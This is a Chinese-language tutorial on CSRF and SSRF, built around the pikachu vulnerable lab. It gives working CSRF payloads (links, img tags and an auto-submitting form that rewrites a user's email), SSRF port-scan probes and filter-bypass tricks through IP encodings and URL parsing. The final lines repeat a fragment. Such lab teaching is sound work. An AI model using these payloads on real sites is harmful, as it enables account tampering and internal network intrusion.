CSRF
概述
CSRF,跨站请求伪造(Cross-site request forgery)是一种挟制用户,在其当前已登录的Web应用程序上执行非本意的操作的攻击方法。 当用户访问含有恶意代码的网页(GET型),或者点击了包含恶意请求的连接时(POST型),会向指定正常网站发送非本人意愿的数据请求包,如果此时用户恰好登录了该正常网站,就会执行该恶意代码的请求,从而造成CSRF
与XSS不同的是,CSRF是利用用户的权限对用户数据进行操作,而XSS是直接获取用户权限
利用
以pikachu靶场为例
GET
在修改用户信息时,通过抓包获取到修改数据时的请求代码
?sex=boy&phonenum=12345678910&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
构造payload
http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
<a href="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111111111&add=nba+lakes&email=kobe%40pikachu.com&submit=submit">点一点</a>
<img src="http://192.168.1.133:88/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111145354311&add=nba+lakes&email=kobe%40pikachu.com&submit=submit"></img>‘
当受害者访问了这个url,或带有payload的网页时,将会发送数据包
回到登录页面,发现信息被修改
POST
抓取正常修改数据包
构造表单
<html>
<head>
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("submit").click();
}
</script>
</head>
<body>
<form action="http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl"><br>
<input type="hidden" name="phonenum" value="12345678910"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker@hack.com"><br>
<input id="submit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
当用户访问该html页面时,将会自动向http://192.168.1.133:88/vul/csrf/csrfpost/csrf_post_edit.php 发送修改数据包,用户信息被修改
TOKEN
CSRF的主要问题是敏感操作的数据包容易被伪造,为了让这个数据包不容易被伪造,我们可以采取每次请求,都增加一个随机码(TOKEN,一般以SESSION值作为TOKEN)的方法,这样后台每次都会对随机码进行验证,只有随机码与服务器端一致时,才接受该数据包
SSRF
概述
SSRF,服务器端请求伪造(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是外网无法访问的内部服务器
SSRF 形成的原因大都是由于服务端提供了从其他内部服务器获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。SSRF是利用存在缺陷的Web应用,将其作为代理,伪造服务器请求,攻击远程和本地的内部服务器
挖掘漏洞
功能
- 分享:通过URL地址分享网页内容
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:通过URL地址翻译对应文本内容 如:百度,有道
- 图片加载与下载:通过URL地址加载与下载图片
- 图片 文章收藏功能
- 未公开的API实现以及其他调用URL的功能
URL
- share
- wap
- url
- link
- src
- source
- target
- u
- 3g
- display
- sourceURL
- imageURL
- domain
验证
- 以URL
http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若打开该图片的地址与上述URL中image参数的地址相同,则不存在SSRF漏洞 - 使用抓包工具判断。由于SSRF是服务器请求漏洞,所以在加载图片、文件时,本地浏览器不应该有图片的请求。以URL
http://www.example.com/ssrf.php?image=http://www.test.com/img/1.png 为例,若请求头为GET /ssrf.php?image=http://www.test.com/img/1.png HTTP/1.1 ,则说明不存在SSRF漏洞
利用
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用方式
可以使用各种协议对SSRF漏洞进行利用
访问文件
?url=http://www.example.com/1.html
端口扫描
?url=dict://127.0.0.1/80 ?url=dict://127.0.0.1/3306
文件读取
绕过
更改IP地址写法
以192.168.0.1为例
- 八进制:0300.0250.0.1
- 十六进制:0xC0.0xA8.0.1
- 十进制:3232235521
- 十六进制整数格式:0xC0A80001
- 省略写法:192.168.1
IP地址中的每一位,各个进制可以混用
访问改写后的 IP 地址时,Apache 会报 400 Bad Request,但 Nginx、MySQL 等其他服务仍能正常工作
以本地回环地址127.0.0.1为例
- 在linux下,127.0.0.1与0.0.0.0都指向本地
- 回环地址实际上是127.0.0.1/8,访问任意一个127.x.x.x都和127.0.0.1是一个效果
URL参数解析不当
如http:baidu.com@192.168.0.1 与http://192.168.0.1#baidu.com ,后端程序可能判断为访问的是baidu.com ,但实际访问的地址是192.168.0.1
常用的绕过符号
-
@:http:baidu.com@192.168.0.1 -
#:http://192.168.0.1#baidu.com -
\:http://192.168.0.1\baidu.com http://192.168.0.1\\baidu.com -
?:http://192.168.0.1?baidu.com
URL跳转
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话 就可能发生"跳错对象"的问题
http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php
的(可能是用户传参,或者之前预埋在前端页面的url重定向地址)参数作为了跳转的目的地,而又没有做判断的话 就可能发生"跳错对象"的问题
http://192.168.1.133:88/vul/urlredirect/urlredirect.php?url=http://192.168.1.133:88/vul/ssrf/ssrf_info/info1.php
|